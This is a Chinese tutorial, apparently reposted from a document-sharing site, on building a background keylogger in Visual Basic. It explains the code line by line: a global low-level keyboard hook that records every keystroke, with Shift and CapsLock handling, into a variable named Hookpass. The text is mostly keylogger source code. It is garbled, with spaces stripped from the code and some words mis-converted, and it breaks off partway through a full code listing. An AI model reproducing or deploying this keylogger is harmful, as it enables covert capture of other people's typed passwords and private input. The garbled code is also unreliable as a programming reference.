VB外挂之HOOK技术的最详细教程.docx
《VB外挂之HOOK技术的最详细教程.docx》由会员分享,可在线阅读,更多相关《VB外挂之HOOK技术的最详细教程.docx(20页珍藏版)》请在冰点文库上搜索。
VB外挂之HOOK技术的最详细教程
vb外挂之HOOK技术终极详细讲解
By:
史上最大小强
很多学习vb的人都想学习外挂及hook,我在网上也找到了一段程序,后台键盘记录外挂,其实网上大多数流传的HOOK代码都跟这段代码几乎一个出处。
网上有关于这些代码的解释,但是关键局部根本就没解释,等于没说。
下面的程序解释得很详细。
有的地方全属个人看法,不过还是值得一看。
不对的地方欢送大家指出。
当然,高手勿笑。
好吧,正式我们的hook学习。
Hook并不神秘,它说到底就是通过调用API函数在消息队列中安装钩子,实现截获消息,处理消息的功能。
在这里,我浅浅的讲讲windows的消息机制。
比方,我们按键盘的某个键时,系统就会生成一个消息到系统的消息队列,系统再发送到应用程序消息队列中,windows有不同的消息队列。
对于键盘钩子,是安装在系统的消息队列中。
看程序:
〔以下程序在模块中,呵呵,工程-----添加模块〕
OptionExplicit‘强制性变量声明,不允许出现未声明的变量。
呵呵,都懂!
!
PublicDeclareFunctionGetKeyStateLib"user32"(ByValnVirtKeyAsLong)AsInteger
‘Getkeystate是api函数,顾名思义,获取某个键的状态,参数nvirtkey就是某个键的虚拟键键码,不同的系统虚拟键码不同。
比方vbkeycontrol或者vbkeyshift就可以作为参数。
返回值是16位的,如开关键翻开,那么位0设为1〔开关键包括CapsLock,NumLock,ScrollLock〕;如某个键当时正处于按下状态,那么位15为1;如已经抬起,那么为0。
数据在储存器中,最高位为1时是负数,为0时是正数。
PublicDeclareFunctionSetWindowsHookExLib"user32"Alias"SetWindowsHookExA"(ByValidHookAsLong,ByVallpfnAsLong,ByValhmodAsLong,ByValdwThreadIdAsLong)AsLong
‘Setwindowshookex,就是建立钩子的函数,最主要的的函数。
参数:
Idhoook:
要建立什么类型的hook。
有以下类型:
WH_MSGFILTER=-1;线程级;截获用户与控件交互的消息
WH_JOURNALRECORD=0;系统级;记录所有消息队列从消息队列送出的输入消息,在消息从队列中去除时发生;可用于宏记录
WH_JOURNALPLAYBACK=1;系统级;回放由WH_JOURNALRECORD记录的消息,也就是将这些消息重新送入消息队列
WH_KEYBOARD=2;系统级或线程级;截获键盘消息
WH_GETMESSAGE=3;系统级或线程级;截获从消息队列送出的消息
WH_CALLWNDPROC=4;系统级或线程级;截获发送到目标窗口的消息,在SendMessage调用时发生
WH_CBT=5;系统级或线程级;截获系统根本消息,譬如:
窗口的创立、激活、关闭、最大最小化、移动等等
WH_SYSMSGFILTER=6;系统级;截获系统围用户与控件交互的消息
WH_MOUSE=7;系统级或线程级;截获鼠标消息
WH_HARDWARE=8;系统级或线程级;截获非标准硬件(非鼠标、键盘)的消息
WH_DEBUG=9;系统级或线程级;在其他钩子调用前调用,用于调试钩子
WH_SHELL=10;系统级或线程级;截获发向外壳应用程序的消息
WH_FOREGROUNDIDLE=11;系统级或线程级;在程序前台线程空闲时调用
WH_CALLWNDPROCRET=12;系统级或线程级;截获目标窗口处理完毕的消息,在SendMessage调用后发生
WH_KEYBOARD_LL=13;解惑键盘消息。
MSDN是这样说的:
安装一个钩子过程监听底层键盘事件。
本次键盘钩子用到的就是它。
WH_MOUSE_LL=14;解获鼠标消息。
MSDN是这样说的:
安装一个钩子过程监听底层鼠标事件。
Ipfn:
回调函数的指针。
重要的说说这个函数,可以这样解释,我们截获了消息怎么办,肯定要进展处理,这时就建立一个函数进展处理。
在调用的时候用addressof函数名称来调用。
这个回调函数有固定的格式:
PublicFunctionCallKeyHookProc(ByValcodeAsLong,ByValwParamAsLong,ByVallParamAsLong)AsLong
‘CallKeyHookProc这个函数名字可以随便取,无固定。
至于这三个参数可能有的人看了下面的程序会问:
我们并没有给它传递实参啊?
就我的想法可能是因为正是因为它是固定的,用addressof调用,这个回调函数在被调用的时候系统就传递给了它参数,所以,就算它是我们定义的函数,它的参数也已有了固定的意思:
Code:
代表是什麽请况之下所产生的Hook,随Hook的不同而有不同组的可能值。
网上都这么说,可像我们这种菜不懂。
我觉得可以这样理解,它就代表着hook的状态,比方我们的键盘钩子,可能的code如下:
HC_ACTION=0‘当系统传递过来的code是此值时,表示信息要被处理。
HC_GETNEXT=1‘下面这三个估计就是不能被我们处理吧。
HC_NOREM=HC_NOREMOVE
HC_NOREMOVE=3
Wparam:
对于键盘钩子来说,它包含了不同键的状态,比方WM_KEYUP、WM_KEYDOWM…….不同的钩子有不同类型的消息。
Lparam:
包含了键的信息,比方扫描码等、,执行时间等。
它属于附加信息。
继续看setwindowshookex的参数:
Hmod:
包含钩子函数的模块(EXE、DLL)句柄;一般是HInstance;如果是当前线程这里可以是0。
本文这个参数取app.hinstance。
dwThreadId:
代表执行这个Hook的ThreadId,如果不设定是那个Thread来做,那么传0(所以一般来说,RemoteHook传0进去),而VB的LocalHook一般可传App.ThreadId进去。
本文中这个参数取0.
Setwindowshookex成功后返回钩子的句柄。
这个句柄我们要把它保存下来。
PublicDeclareFunctionUnhookWindowsHookExLib"user32"(ByValhHookAsLong)AsLong
‘卸载钩子,hhook是钩子句柄。
PublicDeclareFunctionCallNextHookExLib"user32"(ByValhHookAsLong,ByValnCodeAsLong,ByValwParamAsLong,lParamAsAny)AsLong
‘对截获的消息进展处理后,我们可以调用这个函数把消息传递给下一个钩子〔系统里有很多钩子,最后安装的钩子排在最前面,最先截获消息。
最先安装的在最后面。
参数不用解释了,同上〕
PublicDeclareFunctionGetKeyNameTextLib"user32"Alias"GetKeyNameTextA"(ByVallParamAsLong,ByVallpBufferAsString,ByValnSizeAsLong)AsLong
‘通过扫描码获得键名
参数:
lParam:
一共32位,位0到5=0;位16到23=按键的扫描码〔注意第0位过后才是第一位〕;位24为增强型键盘上的扩展位;位25如设为1,表示忽略左右Shift和Ctrl键的区别
lpBuffer:
用一个变量保存得到的键名
nSize:
指定保存键名的变量的长度。
返回值:
实际键名的长度
例如:
strLen=GetKeyNameText(lKey,strKeyName,250)如果IKEY是Esc键的扫描码,然后strkeyName的值是“Esc囗囗囗囗囗囗囗囗。
。
。
。
。
。
〔一共247个囗,总共250字节〕〞,strlen是3,也就是ESC的字节数。
所以,得到的键名需要处理才能实际使用。
PublicDeclareSubCopyMemoryLib"kernel32"Alias"RtlMoveMemory"(lpvDestAsAny,ByVallpvSourceAsLong,ByValcbCopyAsLong)
‘复制存地址中的数据到另一个地址,lpvdest是目标地址,lpvsource是源地址,cbcopy是要复制的字节长度,这个长度从源地址的首地址开场。
这个好理解。
以下是常量声明:
〔使用前都要声明常量,当然,下面有一些不需要的常量声明〕
PublicConstWH_KEYBOARD=2
PublicConstWH_KEYBOARD_LL=13
'-----------------------------------------
PublicConstHC_ACTION=0
PublicConstHC_SYSMODALOFF=5
PublicConstHC_SYSMODALON=4
'---------------------------------------
PublicConstWM_KEYDOWN=&H100
PublicConstWM_KEYUP=&H101
PublicConstWM_SYSKEYDOWN=&H104
PublicConstWM_SYSKEYUP=&H105
PublicTypeKEYMSGS
vKeyAsLong
sKeyAsLong
FlagAsLong
timeAsLong
EndType
‘这里定义了一个数据构造类型,也算是个固定构造吧。
记住就行了。
PublicstrKeyNameAsString*255
‘保存键名的变量,指定长度255字节,反正最好255吧,不然程序会出错的。
要比nsize大点。
PublickeyMsgAsKEYMSGS
‘指定一个KEYMSGS类型的变量KeyMsg
PublicbolCtrlAsBoolean
PublicbolShiftAsBoolean
PublicbolCapsLockAsBoolean
这几个键表示按键的状态,比方是否按下ctrl键
PublicHookIDAsLong
PublicRECAsBoolean
PublicHookpassAsString
‘以上定义了程序中要用到的变量。
好了,可以看看我们实际的回调函数了。
PublicFunctionCallKeyHookProc(ByValcodeAsLong,ByValwParamAsLong,ByVallParamAsLong)AsLong
DimlKeyAsLong
DimstrKeyNameAsString*255
DimstrLenAsLong
DimstrNowInformationAsString
DimstrInformationAsString‘变量在用的时候再解释
Ifcode=HC_ACTIONThen‘当code等于HC_ACTION时,由于安装的是键盘钩子,估计意思就是捕捉到键盘钩子后可以进展处理。
CopyMemorykeyMsg,lParam,LenB(keyMsg)
‘把lparam中的值共4个字节传给keyMsg
SelectCasewParam‘选择wparam
CaseWM_SYSKEYDOWN,WM_KEYDOWN:
‘如果wparam的消息是按下键〔包括系统键和普通的键〕
IfGetKeyState(vbKeyControl)<0Then‘如果ctrl键被按下,如果键被按下,getkeystate的返回值-127或者-128,前面说过,键按下时GetkeyState返回值最高位15位是1,也就是说它是个负数。
bolCtrl=True‘表示ctrl键按下了
EndIf
IfGetKeyState(vbKeyShift)<0Then
bolShift=True‘解释同上
EndIf
CaseWM_SYSKEYUP,WM_KEYUP:
‘如果wparam消息是键弹起〔包括系统键和普通键〕
IfGetKeyState(vbKeyControl)>=0Then‘ctrl键处于弹起状态,GetKeyState返回值为1或0.
bolCtrl=False‘表示ctrl键没按下
EndIf
IfGetKeyState(vbKeyShift)>=0Then
bolShift=False‘同上
EndIf
If(GetKeyState(vbKeyCapital)And1)<>0Then'如果大小写切换键CapsLK键处于激活状态
bolCapsLock=True
Else
bolCapsLock=False‘CapsLK没激活
EndIf
lKey=keyMsg.sKeyAnd&HFF‘这句我也纠结了好久,因为我去掉&HFF结果丝毫没影响。
这句话是“与“操作,按位与后,1与0是0,0与0是0,1与1是1,但是看&HFF是十六进制数,转为二进制后全是1,对keyMsg.Skey没影响。
所以我觉得多余了。
lKey=lKey*65536‘看到这里可能很多人不明白,为什么乘以65536,经过我调试,程序运行时。
当我点一下键盘上的数字键1后,通过上面的程序,得到值的如下:
lparam:
1310180〔回调函数的参数值lparam〕,我觉得我得到的是个地址,因为我不管按1还是按2,lparam的值都是1310180,因为它是long型数据,所以我们copymemory的复制的数据可能是该地址及该地址以后4个字节的值。
keymsg.vkey=49数字键1的十进制ASCII值是49,1的十六进制ASCII是33.
keymsg.skey=2(没乘以65536),这是键1的扫描码,扫描码可真不好找,我在XX搜索扫描码,我看1的扫描码是0x0231,这显然不对,这并不是这里的扫描码,在baidu的文库里还是找到了1的扫描码是2,但我不知道为什么有两组不同的扫描码。
但1的键盘扫描码确定是2没错。
keymsg.skey=131072〔乘以65536后〕,131072是十进制值,我把它转化成二进制后是0,前面说过,GetKeyNameText的参数lparam:
一共32位,位0到5=0;位16到23=按键的扫描码,我们这里从第零位开场数,16到17位是10,也就是2的二进制数。
也就是说,乘以65536的目地就是为了得到相应的参数,为什么呢?
我们看,65536是2的16次方,2*65536就相当于10〔二进制〕*2的16次方,也就是相当于把2的所有位向左移16位〔例如要左移10位,就乘以2的十次方〕。
strLen=GetKeyNameText(lKey,strKeyName,250)
‘lkey是我们得到的键的相应处理后的扫描码,得到键名,并得到实际键名长度。
strNowInformation=Left(strKeyName,strLen)
‘去掉键名后面不必要的“囗〞,前面已介绍原因。
下面的都是次要的,为的是如何显示键名,我只浅要的说说:
strInformation=Replace(strNowInformation,"Num","")
‘replace函数,例如,replace〔“美国中国〞,“美国〞,“中国〞〕,转换后得到“中国中国〞,美国被中国替换了。
这里的意思就是先看看strnowinformation的值是不是Num,是就替换成“〞〔空〕。
strInformation=Replace(strInformation,"Del",".")
strInformation=Replace(strInformation,"Ctrl","")
strInformation=Replace(strInformation,"Shift","")
strInformation=Replace(strInformation,"Alt","")
strInformation=Replace(strInformation,"Tab","")
strInformation=Replace(strInformation,"Right","")
strInformation=Replace(strInformation,"Left","")
strInformation=Replace(strInformation,"CapsLock","")
strInformation=Replace(strInformation,"capslock","")
strInformation=Replace(strInformation,"Backspace","|")
strInformation=Replace(strInformation,"backspace","|")
strInformation=Replace(strInformation,"Space","")
strInformation=Replace(strInformation,"space","")
strInformation=Replace(strInformation,"","")
‘以上的程序都是为了如何显示键名。
IfbolCtrl=FalseThen
IfbolShift=FalseAndbolCapsLock=FalseThen
Hookpass=Hookpass&LCase(strInformation)
‘lcase的意思就是转化为小写,通过前面的判断,capslk键没激活时,全部小写。
EndIf
IfbolShift=FalseAndbolCapsLock=TrueThen
Hookpass=Hookpass&strInformation
‘跟上面相反
EndIf
IfbolShift=TrueThen
SelectCasestrInformation
Case"`"
Hookpass=Hookpass&"~"
Case"1"
Hookpass=Hookpass&"!
"
Case"2"
Hookpass=Hookpass&""
Case"3"
Hookpass=Hookpass&"#"
Case"4"
Hookpass=Hookpass&"$"
Case"5"
Hookpass=Hookpass&"%"
Case"6"
Hookpass=Hookpass&"^"
Case"7"
Hookpass=Hookpass&"&"
Case"8"
Hookpass=Hookpass&"*"
Case"9"
Hookpass=Hookpass&"("
Case"0"
Hookpass=Hookpass&")"
Case"-"
Hookpass=Hookpass&"_"
Case"="
Hookpass=Hookpass&"+"
Case"["
Hookpass=Hookpass&"{"
Case"]"
Hookpass=Hookpass&"}"
Case";"
Hookpass=Hookpass&":
"
Case"'"
Hookpass=Hookpass&"'"
Case"\"
Hookpass=Hookpass&"|"
Case","
Hookpass=Hookpass&"<"
Case"."
Hookpass=Hookpass&">"
Case"/"
Hookpass=Hookpass&"?
"
‘当shift按下状态或弹起状态,一个键有两个不同的值。
CaseElse
IfbolCapsLock=FalseThen
Hookpass=Hookpass&strInformation
Else
Hookpass=Hookpass&LCase(strInformation)
EndIf
EndSelect
EndIf
EndIf
EndSelect
EndIf
Ifcode<>0Then‘这里我估计就是如果不能对键盘消息进展操作,就。
。
。
CallKeyHookProc=CallNextHookEx(0,code,wParam,lParam)
EndIf
EndFunction
以上是在模块中声明
下面:
在窗体中写下如下代码:
OptionExplicit
PrivateSubForm_Load()
HookID=SetWindowsHookEx(WH_KEYBOARD_LL,AddressOfCallKeyHookProc,App.hInstance,&O0)‘建立键盘钩子
EndSub
PrivateSubForm_Unload(CancelAsInteger)
UnhookWindowsHookExHookID’卸载键盘钩子
EndSub
PrivateSubTimer1_Timer()
Text1.Text=Hookpass‘记录键盘
EndSub
全文代码
在窗体上建一个TEXT控件Text1,来记录键盘。
新建模块
输入代码:
OptionExplicit
PublicDeclareFunctionGetKeyStateLib"user32"(ByValnVirtKeyAsLong)AsInteger
PublicDeclareFunctionSetWindowsHookExLib"user32"Alias"SetWindowsHookExA"(ByValidHookAsLong,ByVallpfnAsLong,ByValhmodAsLong,ByValdwThreadIdAsL